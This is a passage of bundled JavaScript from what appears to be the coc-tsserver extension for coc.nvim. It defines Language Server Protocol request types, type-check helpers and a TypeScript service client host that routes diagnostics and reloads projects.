PrepareRenameRequest.type = new messages_1.ProtocolRequestType(PrepareRenameRequest.method);
})(PrepareRenameRequest = exports.PrepareRenameRequest || (exports.PrepareRenameRequest = {}));
/**
* A request send from the client to the server to execute a command. The request might return
* a workspace edit which the client will apply to the workspace.
*/
var ExecuteCommandRequest;
(function (ExecuteCommandRequest) {
ExecuteCommandRequest.type = new messages_1.ProtocolRequestType('workspace/executeCommand');
})(ExecuteCommandRequest = exports.ExecuteCommandRequest || (exports.ExecuteCommandRequest = {}));
/**
* A request sent from the server to the client to modified certain resources.
*/
var ApplyWorkspaceEditRequest;
(function (ApplyWorkspaceEditRequest) {
ApplyWorkspaceEditRequest.type = new messages_1.ProtocolRequestType('workspace/applyEdit');
})(ApplyWorkspaceEditRequest = exports.ApplyWorkspaceEditRequest || (exports.ApplyWorkspaceEditRequest = {}));
/***/ }),
/* 20 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
function boolean(value) {
return value === true || value === false;
}
exports.boolean = boolean;
function string(value) {
return typeof value === 'string' || value instanceof String;
}
exports.string = string;
function number(value) {
return typeof value === 'number' || value instanceof Number;
}
exports.number = number;
function error(value) {
return value instanceof Error;
}
exports.error = error;
function func(value) {
return typeof value === 'function';
}
exports.func = func;
function array(value) {
return Array.isArray(value);
}
exports.array = array;
function stringArray(value) {
return array(value) && value.every(elem => string(elem));
}
exports.stringArray = stringArray;
function typedArray(value, check) {
return Array.isArray(value) && value.every(check);
}
exports.typedArray = typedArray;
function objectLiteral(value) {
// Strictly speaking class instances pass this check as well. Since the LSP
// doesn't use classes we ignore this for now. If we do we need to add something
// like this: `Object.getPrototypeOf(Object.getPrototypeOf(x)) === null`
return value !== null && typeof value === 'object';
}
exports.objectLiteral = objectLiteral;
/***/ }),
/* 21 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
class ProtocolRequestType0 extends vscode_jsonrpc_1.RequestType0 {
constructor(method) {
super(method);
}
}
exports.ProtocolRequestType0 = ProtocolRequestType0;
class ProtocolRequestType extends vscode_jsonrpc_1.RequestType {
constructor(method) {
super(method);
}
}
exports.ProtocolRequestType = ProtocolRequestType;
class ProtocolNotificationType extends vscode_jsonrpc_1.NotificationType {
constructor(method) {
super(method);
}
}
exports.ProtocolNotificationType = ProtocolNotificationType;
class ProtocolNotificationType0 extends vscode_jsonrpc_1.NotificationType0 {
constructor(method) {
super(method);
}
}
exports.ProtocolNotificationType0 = ProtocolNotificationType0;
/***/ }),
/* 22 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
// @ts-ignore: to avoid inlining LocatioLink as dynamic import
let __noDynamicImport;
/**
* A request to resolve the implementation locations of a symbol at a given text
* document position. The request's parameter is of type [TextDocumentPositioParams]
* (#TextDocumentPositionParams) the response is of type [Definition](#Definition) or a
* Thenable that resolves to such.
*/
var ImplementationRequest;
(function (ImplementationRequest) {
ImplementationRequest.method = 'textDocument/implementation';
ImplementationRequest.type = new messages_1.ProtocolRequestType(ImplementationRequest.method);
/** @deprecated Use ImplementationRequest.type */
ImplementationRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(ImplementationRequest = exports.ImplementationRequest || (exports.ImplementationRequest = {}));
/***/ }),
/* 23 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
// @ts-ignore: to avoid inlining LocatioLink as dynamic import
let __noDynamicImport;
/**
* A request to resolve the type definition locations of a symbol at a given text
* document position. The request's parameter is of type [TextDocumentPositioParams]
* (#TextDocumentPositionParams) the response is of type [Definition](#Definition) or a
* Thenable that resolves to such.
*/
var TypeDefinitionRequest;
(function (TypeDefinitionRequest) {
TypeDefinitionRequest.method = 'textDocument/typeDefinition';
TypeDefinitionRequest.type = new messages_1.ProtocolRequestType(TypeDefinitionRequest.method);
/** @deprecated Use TypeDefinitionRequest.type */
TypeDefinitionRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(TypeDefinitionRequest = exports.TypeDefinitionRequest || (exports.TypeDefinitionRequest = {}));
/***/ }),
/* 24 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const messages_1 = __webpack_require__(21);
/**
* The `workspace/workspaceFolders` is sent from the server to the client to fetch the open workspace folders.
*/
var WorkspaceFoldersRequest;
(function (WorkspaceFoldersRequest) {
WorkspaceFoldersRequest.type = new messages_1.ProtocolRequestType0('workspace/workspaceFolders');
})(WorkspaceFoldersRequest = exports.WorkspaceFoldersRequest || (exports.WorkspaceFoldersRequest = {}));
/**
* The `workspace/didChangeWorkspaceFolders` notification is sent from the client to the server when the workspace
* folder configuration changes.
*/
var DidChangeWorkspaceFoldersNotification;
(function (DidChangeWorkspaceFoldersNotification) {
DidChangeWorkspaceFoldersNotification.type = new messages_1.ProtocolNotificationType('workspace/didChangeWorkspaceFolders');
})(DidChangeWorkspaceFoldersNotification = exports.DidChangeWorkspaceFoldersNotification || (exports.DidChangeWorkspaceFoldersNotification = {}));
/***/ }),
/* 25 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const messages_1 = __webpack_require__(21);
/**
* The 'workspace/configuration' request is sent from the server to the client to fetch a certain
* configuration setting.
*
* This pull model replaces the old push model were the client signaled configuration change via an
* event. If the server still needs to react to configuration changes (since the server caches the
* result of `workspace/configuration` requests) the server should register for an empty configuration
* change event and empty the cache if such an event is received.
*/
var ConfigurationRequest;
(function (ConfigurationRequest) {
ConfigurationRequest.type = new messages_1.ProtocolRequestType('workspace/configuration');
})(ConfigurationRequest = exports.ConfigurationRequest || (exports.ConfigurationRequest = {}));
/***/ }),
/* 26 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
/**
* A request to list all color symbols found in a given text document. The request's
* parameter is of type [DocumentColorParams](#DocumentColorParams) the
* response is of type [ColorInformation[]](#ColorInformation) or a Thenable
* that resolves to such.
*/
var DocumentColorRequest;
(function (DocumentColorRequest) {
DocumentColorRequest.method = 'textDocument/documentColor';
DocumentColorRequest.type = new messages_1.ProtocolRequestType(DocumentColorRequest.method);
/** @deprecated Use DocumentColorRequest.type */
DocumentColorRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(DocumentColorRequest = exports.DocumentColorRequest || (exports.DocumentColorRequest = {}));
/**
* A request to list all presentation for a color. The request's
* parameter is of type [ColorPresentationParams](#ColorPresentationParams) the
* response is of type [ColorInformation[]](#ColorInformation) or a Thenable
* that resolves to such.
*/
var ColorPresentationRequest;
(function (ColorPresentationRequest) {
ColorPresentationRequest.type = new messages_1.ProtocolRequestType('textDocument/colorPresentation');
})(ColorPresentationRequest = exports.ColorPresentationRequest || (exports.ColorPresentationRequest = {}));
/***/ }),
/* 27 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
/**
* Enum of known range kinds
*/
var FoldingRangeKind;
(function (FoldingRangeKind) {
/**
* Folding range for a comment
*/
FoldingRangeKind["Comment"] = "comment";
/**
* Folding range for a imports or includes
*/
FoldingRangeKind["Imports"] = "imports";
/**
* Folding range for a region (e.g. `#region`)
*/
FoldingRangeKind["Region"] = "region";
})(FoldingRangeKind = exports.FoldingRangeKind || (exports.FoldingRangeKind = {}));
/**
* A request to provide folding ranges in a document. The request's
* parameter is of type [FoldingRangeParams](#FoldingRangeParams), the
* response is of type [FoldingRangeList](#FoldingRangeList) or a Thenable
* that resolves to such.
*/
var FoldingRangeRequest;
(function (FoldingRangeRequest) {
FoldingRangeRequest.method = 'textDocument/foldingRange';
FoldingRangeRequest.type = new messages_1.ProtocolRequestType(FoldingRangeRequest.method);
/** @deprecated Use FoldingRangeRequest.type */
FoldingRangeRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(FoldingRangeRequest = exports.FoldingRangeRequest || (exports.FoldingRangeRequest = {}));
/***/ }),
/* 28 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
// @ts-ignore: to avoid inlining LocatioLink as dynamic import
let __noDynamicImport;
/**
* A request to resolve the type definition locations of a symbol at a given text
* document position. The request's parameter is of type [TextDocumentPositioParams]
* (#TextDocumentPositionParams) the response is of type [Declaration](#Declaration)
* or a typed array of [DeclarationLink](#DeclarationLink) or a Thenable that resolves
* to such.
*/
var DeclarationRequest;
(function (DeclarationRequest) {
DeclarationRequest.method = 'textDocument/declaration';
DeclarationRequest.type = new messages_1.ProtocolRequestType(DeclarationRequest.method);
/** @deprecated Use DeclarationRequest.type */
DeclarationRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(DeclarationRequest = exports.DeclarationRequest || (exports.DeclarationRequest = {}));
/***/ }),
/* 29 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
/**
* A request to provide selection ranges in a document. The request's
* parameter is of type [SelectionRangeParams](#SelectionRangeParams), the
* response is of type [SelectionRange[]](#SelectionRange[]) or a Thenable
* that resolves to such.
*/
var SelectionRangeRequest;
(function (SelectionRangeRequest) {
SelectionRangeRequest.method = 'textDocument/selectionRange';
SelectionRangeRequest.type = new messages_1.ProtocolRequestType(SelectionRangeRequest.method);
/** @deprecated Use SelectionRangeRequest.type */
SelectionRangeRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(SelectionRangeRequest = exports.SelectionRangeRequest || (exports.SelectionRangeRequest = {}));
/***/ }),
/* 30 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
var WorkDoneProgress;
(function (WorkDoneProgress) {
WorkDoneProgress.type = new vscode_jsonrpc_1.ProgressType();
})(WorkDoneProgress = exports.WorkDoneProgress || (exports.WorkDoneProgress = {}));
/**
* The `window/workDoneProgress/create` request is sent from the server to the client to initiate progress
* reporting from the server.
*/
var WorkDoneProgressCreateRequest;
(function (WorkDoneProgressCreateRequest) {
WorkDoneProgressCreateRequest.type = new messages_1.ProtocolRequestType('window/workDoneProgress/create');
})(WorkDoneProgressCreateRequest = exports.WorkDoneProgressCreateRequest || (exports.WorkDoneProgressCreateRequest = {}));
/**
* The `window/workDoneProgress/cancel` notification is sent from the client to the server to cancel a progress
* initiated on the server side.
*/
var WorkDoneProgressCancelNotification;
(function (WorkDoneProgressCancelNotification) {
WorkDoneProgressCancelNotification.type = new messages_1.ProtocolNotificationType('window/workDoneProgress/cancel');
})(WorkDoneProgressCancelNotification = exports.WorkDoneProgressCancelNotification || (exports.WorkDoneProgressCancelNotification = {}));
/***/ }),
/* 31 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) TypeFox and others. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const messages_1 = __webpack_require__(21);
/**
* A request to result a `CallHierarchyItem` in a document at a given position.
* Can be used as an input to a incoming or outgoing call hierarchy.
*
* @since 3.16.0 - Proposed state
*/
var CallHierarchyPrepareRequest;
(function (CallHierarchyPrepareRequest) {
CallHierarchyPrepareRequest.method = 'textDocument/prepareCallHierarchy';
CallHierarchyPrepareRequest.type = new messages_1.ProtocolRequestType(CallHierarchyPrepareRequest.method);
})(CallHierarchyPrepareRequest = exports.CallHierarchyPrepareRequest || (exports.CallHierarchyPrepareRequest = {}));
/**
* A request to resolve the incoming calls for a given `CallHierarchyItem`.
*
* @since 3.16.0 - Proposed state
*/
var CallHierarchyIncomingCallsRequest;
(function (CallHierarchyIncomingCallsRequest) {
CallHierarchyIncomingCallsRequest.method = 'callHierarchy/incomingCalls';
CallHierarchyIncomingCallsRequest.type = new messages_1.ProtocolRequestType(CallHierarchyIncomingCallsRequest.method);
})(CallHierarchyIncomingCallsRequest = exports.CallHierarchyIncomingCallsRequest || (exports.CallHierarchyIncomingCallsRequest = {}));
/**
* A request to resolve the outgoing calls for a given `CallHierarchyItem`.
*
* @since 3.16.0 - Proposed state
*/
var CallHierarchyOutgoingCallsRequest;
(function (CallHierarchyOutgoingCallsRequest) {
CallHierarchyOutgoingCallsRequest.method = 'callHierarchy/outgoingCalls';
CallHierarchyOutgoingCallsRequest.type = new messages_1.ProtocolRequestType(CallHierarchyOutgoingCallsRequest.method);
})(CallHierarchyOutgoingCallsRequest = exports.CallHierarchyOutgoingCallsRequest || (exports.CallHierarchyOutgoingCallsRequest = {}));
/***/ }),
/* 32 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const messages_1 = __webpack_require__(21);
/**
* A set of predefined token types. This set is not fixed
* an clients can specify additional token types via the
* corresponding client capabilities.
*
* @since 3.16.0 - Proposed state
*/
var SemanticTokenTypes;
(function (SemanticTokenTypes) {
SemanticTokenTypes["comment"] = "comment";
SemanticTokenTypes["keyword"] = "keyword";
SemanticTokenTypes["string"] = "string";
SemanticTokenTypes["number"] = "number";
SemanticTokenTypes["regexp"] = "regexp";
SemanticTokenTypes["operator"] = "operator";
SemanticTokenTypes["namespace"] = "namespace";
SemanticTokenTypes["type"] = "type";
SemanticTokenTypes["struct"] = "struct";
SemanticTokenTypes["class"] = "class";
SemanticTokenTypes["interface"] = "interface";
SemanticTokenTypes["enum"] = "enum";
SemanticTokenTypes["typeParameter"] = "typeParameter";
SemanticTokenTypes["function"] = "function";
SemanticTokenTypes["member"] = "member";
SemanticTokenTypes["property"] = "property";
SemanticTokenTypes["macro"] = "macro";
SemanticTokenTypes["variable"] = "variable";
SemanticTokenTypes["parameter"] = "parameter";
SemanticTokenTypes["label"] = "label";
})(SemanticTokenTypes = exports.SemanticTokenTypes || (exports.SemanticTokenTypes = {}));
/**
* A set of predefined token modifiers. This set is not fixed
* an clients can specify additional token types via the
* corresponding client capabilities.
*
* @since 3.16.0 - Proposed state
*/
var SemanticTokenModifiers;
(function (SemanticTokenModifiers) {
SemanticTokenModifiers["documentation"] = "documentation";
SemanticTokenModifiers["declaration"] = "declaration";
SemanticTokenModifiers["definition"] = "definition";
SemanticTokenModifiers["reference"] = "reference";
SemanticTokenModifiers["static"] = "static";
SemanticTokenModifiers["abstract"] = "abstract";
SemanticTokenModifiers["deprecated"] = "deprecated";
SemanticTokenModifiers["async"] = "async";
SemanticTokenModifiers["volatile"] = "volatile";
SemanticTokenModifiers["readonly"] = "readonly";
})(SemanticTokenModifiers = exports.SemanticTokenModifiers || (exports.SemanticTokenModifiers = {}));
/**
* @since 3.16.0 - Proposed state
*/
var SemanticTokens;
(function (SemanticTokens) {
function is(value) {
const candidate = value;
return candidate !== undefined && (candidate.resultId === undefined || typeof candidate.resultId === 'string') &&
Array.isArray(candidate.data) && (candidate.data.length === 0 || typeof candidate.data[0] === 'number');
}
SemanticTokens.is = is;
})(SemanticTokens = exports.SemanticTokens || (exports.SemanticTokens = {}));
/**
* @since 3.16.0 - Proposed state
*/
var SemanticTokensRequest;
(function (SemanticTokensRequest) {
SemanticTokensRequest.method = 'textDocument/semanticTokens';
SemanticTokensRequest.type = new messages_1.ProtocolRequestType(SemanticTokensRequest.method);
})(SemanticTokensRequest = exports.SemanticTokensRequest || (exports.SemanticTokensRequest = {}));
/**
* @since 3.16.0 - Proposed state
*/
var SemanticTokensEditsRequest;
(function (SemanticTokensEditsRequest) {
SemanticTokensEditsRequest.method = 'textDocument/semanticTokens/edits';
SemanticTokensEditsRequest.type = new messages_1.ProtocolRequestType(SemanticTokensEditsRequest.method);
})(SemanticTokensEditsRequest = exports.SemanticTokensEditsRequest || (exports.SemanticTokensEditsRequest = {}));
/**
* @since 3.16.0 - Proposed state
*/
var SemanticTokensRangeRequest;
(function (SemanticTokensRangeRequest) {
SemanticTokensRangeRequest.method = 'textDocument/semanticTokens/range';
SemanticTokensRangeRequest.type = new messages_1.ProtocolRequestType(SemanticTokensRangeRequest.method);
})(SemanticTokensRangeRequest = exports.SemanticTokensRangeRequest || (exports.SemanticTokensRangeRequest = {}));
/***/ }),
/* 33 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const arrays_1 = __webpack_require__(34);
const fileConfigurationManager_1 = __importDefault(__webpack_require__(35));
const watchBuild_1 = __importDefault(__webpack_require__(80));
const workspaceSymbols_1 = __importDefault(__webpack_require__(81));
const languageProvider_1 = __importDefault(__webpack_require__(83));
const PConst = __importStar(__webpack_require__(87));
const typescriptServiceClient_1 = __importDefault(__webpack_require__(117));
const typeConverters = __importStar(__webpack_require__(82));
const typingsStatus_1 = __importStar(__webpack_require__(140));
// Style check diagnostics that can be reported as warnings
const styleCheckDiagnostics = [
6133,
6138,
7027,
7028,
7029,
7030 // not all code paths return a value
];
class TypeScriptServiceClientHost {
constructor(descriptions, pluginManager) {
this.languagePerId = new Map();
this.disposables = [];
this.reportStyleCheckAsWarnings = true;
let timer;
const handleProjectChange = () => {
if (timer)
clearTimeout(timer);
timer = setTimeout(() => {
this.triggerAllDiagnostics();
}, 1500);
};
const configFileWatcher = coc_nvim_1.workspace.createFileSystemWatcher('**/[tj]sconfig.json');
this.disposables.push(configFileWatcher);
configFileWatcher.onDidCreate(this.reloadProjects, this, this.disposables);
configFileWatcher.onDidDelete(this.reloadProjects, this, this.disposables);
configFileWatcher.onDidChange(handleProjectChange, this, this.disposables);
const packageFileWatcher = coc_nvim_1.workspace.createFileSystemWatcher('**/package.json');
packageFileWatcher.onDidCreate(this.reloadProjects, this, this.disposables);
packageFileWatcher.onDidChange(handleProjectChange, this, this.disposables);
const allModeIds = this.getAllModeIds(descriptions, pluginManager);
this.client = new typescriptServiceClient_1.default(pluginManager, allModeIds);
this.disposables.push(this.client);
this.client.onDiagnosticsReceived(({ kind, resource, diagnostics }) => {
this.diagnosticsReceived(kind, resource, diagnostics).catch(e => {
console.error(e);
});
}, null, this.disposables);
// features
this.disposables.push(new watchBuild_1.default(this.client));
this.disposables.push(coc_nvim_1.languages.registerWorkspaceSymbolProvider(new workspaceSymbols_1.default(this.client, allModeIds)));
this.client.onConfigDiagnosticsReceived(diag => {
let { body } = diag;
if (body) {
let { configFile, diagnostics } = body;
let uri = coc_nvim_1.Uri.file(configFile);
if (diagnostics.length == 0) {
this.client.diagnosticsManager.configFileDiagnosticsReceived(uri.toString(), []);
}
else {
let diagnosticList = diagnostics.map(o => {
let { text, code, category, start, end } = o;
let range;
if (!start || !end) {
range = vscode_languageserver_protocol_1.Range.create(vscode_languageserver_protocol_1.Position.create(0, 0), vscode_languageserver_protocol_1.Position.create(0, 1));
}
else {
range = vscode_languageserver_protocol_1.Range.create(start.line - 1, start.offset - 1, end.line - 1, end.offset - 1);
}
let severity = category == 'error' ? vscode_languageserver_protocol_1.DiagnosticSeverity.Error : vscode_languageserver_protocol_1.DiagnosticSeverity.Warning;
return vscode_languageserver_protocol_1.Diagnostic.create(range, text, severity, code);
});
this.client.diagnosticsManager.configFileDiagnosticsReceived(uri.toString(), diagnosticList);
}
}
}, null, this.disposables);
this.typingsStatus = new typingsStatus_1.default(this.client);
this.ataProgressReporter = new typingsStatus_1.AtaProgressReporter(this.client);
this.fileConfigurationManager = new fileConfigurationManager_1.default(this.client);
for (const description of descriptions) { // tslint:disable-line
const manager = new languageProvider_1.default(this.client, this.fileConfigurationManager, description, this.typingsStatus);
this.languagePerId.set(description.id, manager);
}
const languageIds = new Set();
for (const plugin of pluginManager.plugins) {
if (plugin.configNamespace && plugin.languages.length) {
this.registerExtensionLanguageProvider({
id: plugin.configNamespace,
modeIds: Array.from(plugin.languages),
diagnosticSource: 'ts-plugin',
diagnosticLanguage: 1 /* TypeScript */,
diagnosticOwner: 'typescript',
isExternal: true
});
}
else {
for (const language of plugin.languages) {
languageIds.add(language);
}
}
}
if (languageIds.size) {
this.registerExtensionLanguageProvider({
id: 'typescript-plugins',
modeIds: Array.from(languageIds.values()),
diagnosticSource: 'ts-plugin',
diagnosticLanguage: 1 /* TypeScript */,
diagnosticOwner: 'typescript',
isExternal: true
});
}
this.client.ensureServiceStarted();
this.client.onTsServerStarted(() => {
this.triggerAllDiagnostics();
});
coc_nvim_1.workspace.onDidChangeConfiguration(this.configurationChanged, this, this.disposables);
this.configurationChanged();
}
registerExtensionLanguageProvider(description) {
const manager = new languageProvider_1.default(this.client, this.fileConfigurationManager, description, this.typingsStatus);
this.languagePerId.set(description.id, manager);
}
dispose() {
coc_nvim_1.disposeAll(this.disposables);
for (let language of this.languagePerId.values()) {
language.dispose();
}
this.languagePerId.clear();
this.fileConfigurationManager.dispose();
this.typingsStatus.dispose();
this.ataProgressReporter.dispose();
}
reset() {
this.fileConfigurationManager.reset();
}
get serviceClient() {
return this.client;
}
reloadProjects() {
this.client.diagnosticsManager.reInitialize();
this.client.execute('reloadProjects', null, vscode_languageserver_protocol_1.CancellationToken.None);
this.triggerAllDiagnostics();
}
// typescript or javascript
getProvider(languageId) {
return this.languagePerId.get(languageId);
}
configurationChanged() {
const config = coc_nvim_1.workspace.getConfiguration('tsserver');
this.reportStyleCheckAsWarnings = config.get('reportStyleChecksAsWarnings', true);
}
async findLanguage(uri) {
try {
let doc = await coc_nvim_1.workspace.loadFile(uri);
if (!doc)
return undefined;
let languages = Array.from(this.languagePerId.values());
return languages.find(language => language.handles(uri, doc.textDocument));
}
catch (_a) {
return undefined;
}
}
async handles(doc) {
let languages = Array.from(this.languagePerId.values());
let idx = languages.findIndex(language => language.handles(doc.uri, doc));
if (idx != -1)
return true;
return this.client.bufferSyncSupport.handles(doc.uri);
}
triggerAllDiagnostics() {
for (const language of this.languagePerId.values()) {
language.triggerAllDiagnostics();
}
}
async diagnosticsReceived(kind, resource, diagnostics) {
const language = await this.findLanguage(resource.toString());
if (language) {
language.diagnosticsReceived(kind, resource, this.createMarkerDatas(diagnostics));
}
}
createMarkerDatas(diagnostics) {
return diagnostics.map(tsDiag => this.tsDiagnosticToLspDiagnostic(tsDiag));
}
tsDiagnosticToLspDiagnostic(diagnostic) {
const { start, end, text } = diagnostic;
const range = {
start: typeConverters.Position.fromLocation(start),
end: typeConverters.Position.fromLocation(end)
};
let relatedInformation;
if (diagnostic.relatedInformation) {
relatedInformation = diagnostic.relatedInformation.map(o => {
let { span, message } = o;
return {
location: typeConverters.Location.fromTextSpan(this.client.toResource(span.file), span),
message
};
});
}
return {
range,
message: text,
code: diagnostic.code ? diagnostic.code : null,
severity: this.getDiagnosticSeverity(diagnostic),
reportUnnecessary: diagnostic.reportsUnnecessary,
source: diagnostic.source || 'tsserver',
relatedInformation
};
}
getDiagnosticSeverity(diagnostic) {
if (this.reportStyleCheckAsWarnings &&
this.isStyleCheckDiagnostic(diagnostic.code) &&
diagnostic.category === PConst.DiagnosticCategory.error) {
return vscode_languageserver_protocol_1.DiagnosticSeverity.Warning;
}
switch (diagnostic.category) {
case PConst.DiagnosticCategory.error:
return vscode_languageserver_protocol_1.DiagnosticSeverity.Error;
case PConst.DiagnosticCategory.warning:
return vscode_languageserver_protocol_1.DiagnosticSeverity.Warning;
case PConst.DiagnosticCategory.suggestion:
return vscode_languageserver_protocol_1.DiagnosticSeverity.Information;
default:
return vscode_languageserver_protocol_1.DiagnosticSeverity.Error;
}
}
isStyleCheckDiagnostic(code) {
return code ? styleCheckDiagnostics.indexOf(code) !== -1 : false;
}
getAllModeIds(descriptions, pluginManager) {
const allModeIds = arrays_1.flatten([
...descriptions.map(x => x.modeIds),
...pluginManager.plugins.map(x => x.languages)
]);
return allModeIds;
}
}
exports.default = TypeScriptServiceClientHost;
/***/ }),
/* 34 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.flatten = exports.equals = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
function equals(one, other, itemEquals = (a, b) => a === b) {
if (one.length !== other.length) {
return false;
}
for (let i = 0, len = one.length; i < len; i++) {
if (!itemEquals(one[i], other[i])) {
return false;
}
}
return true;
}
exports.equals = equals;
function flatten(arr) {
return [].concat.apply([], arr);
}
exports.flatten = flatten;
/***/ }),
/* 35 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const api_1 = __importDefault(__webpack_require__(36));
function objAreEqual(a, b) {
let keys = Object.keys(a);
for (let i = 0; i < keys.length; i++) { // tslint:disable-line
let key = keys[i];
if (a[key] !== b[key]) {
return false;
}
}
return true;
}
class FileConfigurationManager {
constructor(client) {
this.client = client;
this.cachedMap = new Map();
this.disposables = [];
coc_nvim_1.workspace.onDidCloseTextDocument(textDocument => {
// When a document gets closed delete the cached formatting options.
// This is necessary since the tsserver now closed a project when its
// last file in it closes which drops the stored formatting options
// as well.
this.cachedMap.delete(textDocument.uri);
}, undefined, this.disposables);
}
